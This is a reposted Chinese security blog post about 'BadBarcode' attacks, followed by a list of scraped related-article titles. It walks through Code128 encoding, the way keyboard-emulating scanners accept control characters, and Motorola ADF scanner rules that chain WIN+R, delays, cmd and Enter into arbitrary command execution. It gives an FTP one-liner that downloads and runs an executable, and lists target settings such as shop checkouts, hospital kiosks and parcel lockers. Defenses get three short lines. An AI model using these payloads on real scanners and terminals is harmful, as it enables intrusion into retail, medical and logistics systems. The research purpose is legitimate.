【转】http://future-sec.com/badbarcode.html

前言

在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主在PacSec介绍的条形码攻
击和twitter上的demo视频太炫酷,所以就自己买了个扫码器自己研究了一下 ,在研究时候也找遍了国内外所有资料,但是都没有对可以执行的***技术完整的文章,故有此文分享。

条形码介绍


条形码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。
常见的条形码类型有code39 code128 code93 EAN128 EAN13QR等,前面大部分是一维条形码,而QR则是二维条形码,本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛,支持字符最多的一种类
型,一般都利用code128条形码进行***。

扫码器介绍


扫码器,大家几乎每天都能看到,在超市付账,物流,医院,×××等。作用就是把条形码的信息提取出来,而常规的扫码器的工作原理是利用红外线照射,然后反射得出条形码的信息,再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托罗拉收购。
大家在超市购物付账时候都注意到,商品通过扫描后,商品的编码直接显示在屏幕上,其实很多扫码器都是用keyboard的方式输入的,也就是说一个扫描器就相当于一个键盘,这是一个较大的风险。

Code128条形码

既然知道扫描器是一个keyboard设备,只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字,有些则只支持数字与字母,而Code128 是一种广泛使用的条形码类型,因为它支持ASCII
0-127字符,所以叫code128,条形码长度可调,最大支持232个字符。
Code128也分为三种:

  1. Code128A:标准数字和大写字母,控制符,特殊字符

  2. Code128B:标准数字和大写字母,小写字母,特殊字符

  3. Code128C/EAN128:[00]-[99]的数字对集合,共100个,即只能表示偶数位长度的数字。
    Code128由四部分组成:起始码,数据码,校验码(可有可无),结束码

如上条形码,黑白相间,且线条粗细不一;由黑色线条(条,Bar)与空白(空,Space)组成,根据粗细程度,可以将以上条形码起始码解读
为:211214;第一条黑色竖线是由两个单位的竖线合并组成,而第二条空白竖线即由一个单位的竖线,如此类推。一般前6条的Bar与Space为一个单元。211214 用1,0转成逻辑码就是11010010000,也即是起始码。
起始码对照:
128A 11010000100
128B 11010010000
128C 11010011100
结束码都是统一的1100011101011根据上面的解读出的逻辑码11010010000,就可以推断上面那个条形码是属于code128-B类型了。

最后再根据code128的编码表就可以分析出条形码的数据(编码表太长就不贴完了)
0x04 控制字符与条形码生成
根据上面分析的code128规则,已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作,最简单的就是利用控制字符。控制字符即非显示字符,例如回车,换行,制表符等。在ASCII中,0-31和127 就是控制字符。

根据ASCII的控制字符表,可以看出Ctrl+?的组合键几乎都有了,例如Ctrl+O,也就是打开文件,但这个只是局部快捷组合键,在一些程序
中才能应用,例如浏览器,word等等,利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码?因为已经上面已
经介绍过code128的规则算法,自己写程序也可以。网络也有很多条形码生成的小程序,但在这里推荐一个强大的条形码编辑工具:BarTender

下载安装后点击菜单栏“文件”-“新建”-“完成”,就会出现一个空白模板。

然后点击条形码按钮就可以创建自己的条形码,选择code128类型。

利用BarTender轻松就可以生成出条形码,而且字符可以随时改动,方便调试。扫描上图就验证码后,会输入“FutureSec”,然后输入控制字符Ctrl+O

扫码器扫描后立即弹出对话框
市面上基本任何一款扫码器都能执行,因为code128是绝大部分扫码器都支持的。
0x05 Advanced Data Formatting(高级数据格式)
Advanced Data Formatting(ADF),高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入,根据自己的设定一步一步的规则可以自定义输入的数据,也可以说是一种支持编程的条形码技术。
例如,在一个结账系统中,当你对一个商品扫描后,由于该结账系统不能直接对该条形码直接处理,就需要这种技术。结账系统识别码:A12345,前面要A开头;条形码的数据类型:12345 纯数字,想要在这个结账系统中识别就要在输入前进行处理。
再举个例子:
条形码的数据:
8523647122
通过ADF输出的数据:
8523641<Enter>
如何实现ADF?

现在网上仍然没有ADF的中文资料,而在外国的网站也寥寥无几,无人问津,但靠tk的ppt中提到的ADF也是一头雾水,因为没有具体技术描述,只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。
ADF是一种编程,根据自己的需求构建规则,而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示,例如Perfix/Suffix,Replace,字符输入等。
利用ADF挟持扫描器数据
对扫描器进行ADF设置时要先扫描开始模式,Begin New Rule

此后开始扫描的条形码都会被添加规则,前提是规则的逻辑是合法的。
随后依次扫描下列条形码

然后Save Rule

当Save Rule,扫描器的输出数据都会被挟持成“TEST”,当你设置了ADF时,就会把你的规则按流程一步一步执行。
如何恢复?

扫描清除所有规则条形码即可。

利用ADF执行命令,种植***

由于单凭控制字符无法执行命令,而ADF支持简单的编程和更多的键,利用ADF可以轻松执行系统命令。由于ADF支持很多键,例如最有用的WIN+R。
在ADF中称为GUI R,既然知道了可以WIN+R的键,利用上面的规则就可以弹出cmd执行了。但这样还是不行,因为输入的是由系统自动输入,速度是手打无法可比的,当你执行到GUI R,再执行”c”,”m”,”d”, win+r的对话框还没有出来就已经输入了cmd,所有要延时,而ADF就支持,相当于编程中的 sleep()。

在录ADF规则时,扫描延时后要输入两个Numeric,例如依次0和1两个码,就代表延时0.1秒,0和5就代表0.5秒,默认是延时1秒。
知道这些ADF条形码后就可以构建弹出cmd,然后再利用控制字符执行命令,主要是Enter。但如果要按照以上这么搞的话,仅是弹出一个cmd窗口就要十多个条形码了,也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频:
https://twitter.com/tombkeeper/status/663730674017300480
视频中用了一叠条形码,依次扫描,扫描了十多次就出来个cmd,可能这与扫描器型号也有关系。

这样的话不管是规则生成和利用都非常繁琐,其实是可以优化的,ADF的规则可以合并。利用motorola的扫描器。

123scan是摩托罗拉官方出品非常强大的扫描器 管理软件,在其官网可以下载。功能很多,在这里就介绍利用123scan设置ADF。
打开后点击”Create new configuration file”->”My scanner is NOT
connected”->选择扫描器->”Mondify data”->”Program complex data modifications”->”Create a new rule”。

点击Add action就是添加规则。

ADF所有规则都在里面,包括Beep控制(控制扫描器蜂鸣),Replace等。

设置延时0.5秒,依次添加规则。

最后会自动合并条形码并输出。

以上就是执行任意命令的条形码payload,除去1和2的设置出厂设置和清除所有规则,只需要4个条形码就可以执行任意单条命令。其中Send
ALL that remains是代表设置ADF后扫描条形码的原本数据。
以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车
->延时0.5秒->执行条形码的内容,而随后的Send ALL that
remains就是你要执行的命令,可以多行命令,要是单行命令基本上4条就够不需要加Send ALL that remains。
利用ADF种植***
既然已经可以执行cmd命令,最简单的方法就是利用ftp下载执行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。

#!bash ftp test?CR?a?CR?a?CR?get w.exe?CR?bye?CR?w.exe?CR?get w.exe?CR?bye?CR?w.exe?CR?

下面给出我们的demo视频,是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到Send ALL that remains。视频中是利用FTP命令执行。(测试型号Symbol-LS4208-SR20001ZZR)
http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2
密码:wooyun520

***场景

简单总结一下可能存在***的场景地点:

商店付款

直接把条形码替换到商品;很多便利店支持微信,支付宝二维码支付,扫描器也支持多个类型条形码,可以直接把条形码存在手机中,让其扫描;有些大型百货有资助价格查询终端,只要用特殊的条形码到终端一扫就能跳出终端。

医院病历,检验单

现在医院的挂号,病历都会有个条形码,直接到医院自主终端或直接递给护士扫描;去医院都知道,有资助出检验单的终端,只要一扫就会单子,基本每个医院都有了。

×××

×××自身都会有条形码,兑换×××就凭靠条形码到机器识别,所以伪造或对检验机进行***还是有可能,×××终端类型这么多。

快递单子

快递都有条形码,一般是code128或者code39类型。在一些快递自助取件柜,和快递小哥扫描的时候或许会出现风险。


。。。。。。
场景很多就不一一列举了,以上场景有空我会逐一分析。

防范方法

  1. 扫码器默认不要开启ADF功能

  2. 扫描器尽量不要使用键盘模拟

  3. 设置热键黑名单

总结

一维条形码***的概念在国外很多年前就有提出了,但是没人深入研究。利用条形码也可能出现SQL注射,XSS,溢出等***。无论什么设备,只要能控制一部分输入,就存在风险!

参考文献

http://www.appsbarcode.com/code%20128.php Code 128 條碼.編碼規則
http://www.slideshare.net/mobile/PacSecJP/hyperchem-ma-ba

转载于:https://blog.51cto.com/duallay/1978323

一维条形码***技术(Badbarcode)相关推荐

  1. 一维条形码攻击技术(Badbarcode)

    [转]http://future-sec.com/badbarcode.html 前言 在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主在PacSec ...

  2. 一维条形码识别c语言_条形码的优点

    条形码是迄今为止最经济.实用的一种自动识别技术.条形码技术具有以下几个方面的优点 A.输入速度快:与键盘输入相比,条形码输入的速度是键盘输入的5倍,并且能实现"即时数据输入". B ...

  3. 采用用计算机及条形码技术的是什么,条码技术在计算机应用与实践

    重庆仓库管理软件的条码技术是在计算机应用和实践中产生并发展起来的广泛应用于商业.邮政.图书管理.仓储.工业生产过程控制.交通等领域的一种自动识别技术,泛普软件泛普OA系统具有输入速度快.准确度高.成本 ...

  4. 条形码 - 技术优势与分类介绍

    博主福利:100G+电子设计学习资源包! http://mp.weixin.qq.com/mp/homepage?__biz=MzU3OTczMzk5Mg==&hid=7&sn=ad5 ...

  5. 电脑摄像头一维条形码matlab识别

    一维条形码现在广泛用于超市.图书馆.学校等,几乎在生活的各个领域和行业都直接或间接的用到了一维条形码(本文是指EAN13).对一维条形码的识别就成为了必要,现在超市及其他场所大部分都是利用光电识读器, ...

  6. 一维条形码识别的整个过程原理通俗易懂讲解

    这里我随便在我的编译原理这本书后面拍的一个条形码来进行说明 以下为一个示意图,一维条形码一共有如下几个区域组成(其实一个条形码下面已经给出了代表哪些数字了,我写的这篇文章讲述其原理,教机器如何读取) ...

  7. 《浅谈条形码技术在连锁超市中的应用》论文笔记(二)

    一.基本信息 标题:浅谈条形码技术在连锁超市中的应用 时间:2016 来源:品牌(西京学院) 关键词:条形码技术; 连锁超市; 条码的应用; 二.研究内容 1.问题定义: 条形码作为一项以计算机技术和 ...

  8. 制作Code128B一维条形码的综合教程

    制作Code128B一维条形码的综合教程 Code128B的制作 Code128B条形码规则 QT中C++与QML的相互通信 Canvas画布和Flickable QT程序发布 版本信息 程序发布 C ...

  9. 采用用计算机及条形码技术的是什么,条形码技术及其应用

    条形码技术属于自动识别范畴.它是随着电子技术的进步,尤其是计算机技术在现代化生产和管理领域中的广泛应用面发展起来的一门实用的数据输入技术.从系统看,条形码技术涉及编码技术.光传感技术.条形码印刷技术以 ...

最新文章

  1. hadoop无法访问50070端口怎么办?
  2. 13、ActiveX控件
  3. [Web开发] 微软的 PHP+IIS+WinServer 开发培训资料/示例代码
  4. python3字典升序排序_Python(32)常用指引:排序指南
  5. 最短路 poj1125
  6. CentOS 6.4 安装RBTools 报错 ImportError: Entry point ('console_scripts', 'easy_install') not found...
  7. 【Tiny4412】设置Uboot提示符和关闭MMU
  8. free: seconds argument `1‘ failed
  9. 『原创』一个基于Win CE 5.0的Txt文件阅读器
  10. vi @-function
  11. 安卓开发——基于ViewPager的图片轮播
  12. 解决Ubuntu make 命令 sudo: make: command not found
  13. 数据科学和人工智能技术笔记 八、特征选择
  14. 数据库系统原理及mysql应用教程_数据库系统原理及MySQL应用教程
  15. 开发版速达扩展功能-提供便捷的界面布局功能
  16. 小米SN保修_一次真实但糟糕的小米笔记本售后
  17. java电商项目搭建-------分布式文件存储系统(fastDFS)
  18. B2B电商平台怎么解决大额订单在线支付问题?
  19. 用图章工具 修改数字
  20. 解决outlook 一直卡在加载配置文件界面的解决方法

热门文章

  1. 算法精讲:分享一道值得分享的算法题
  2. Spring校验@RequestParams和@PathVariables参数
  3. F5基于证书认证的客户端登录
  4. Elasticsearch的Groovy Script自定义评分检索
  5. FlashCache初体验
  6. three.js插件实现立体动感视频播放效果
  7. PHP命令注入***
  8. sql查询从m到n的这几条记录
  9. 51中断编程c语言,[新人求指教]51C语言编程可否用中断令循环结束提早结束
  10. 高质量的期货研究报告去哪里找?